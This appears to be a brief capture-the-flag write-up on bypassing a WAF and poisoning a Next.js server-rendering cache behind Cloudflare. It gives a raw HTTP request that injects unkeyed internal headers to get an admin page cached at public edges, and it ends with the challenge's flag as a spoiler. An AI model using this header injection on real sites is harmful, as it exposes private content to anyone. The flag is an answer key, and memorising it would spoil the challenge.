Bypassing WAF & Next.js SSR Cache Poisoning
Target Overview
The web application uses Next.js 14 behind Cloudflare with custom x-matched-path header interpretation.
Attack Vector
By injecting unkeyed HTTP headers:
HTTP
GET /posts/1 HTTP/1.1
Host: web.chall.google.ctf
x-invoke-path: /api/admin/render
x-middleware-prefetch: 1The CDN caches the admin view containing the flag into public CDN edges.
FLAG SOLUTION // SPOILER
WHUB{1sr_c4ch3_p01s0n_cl0udfl4r3_byp4ss}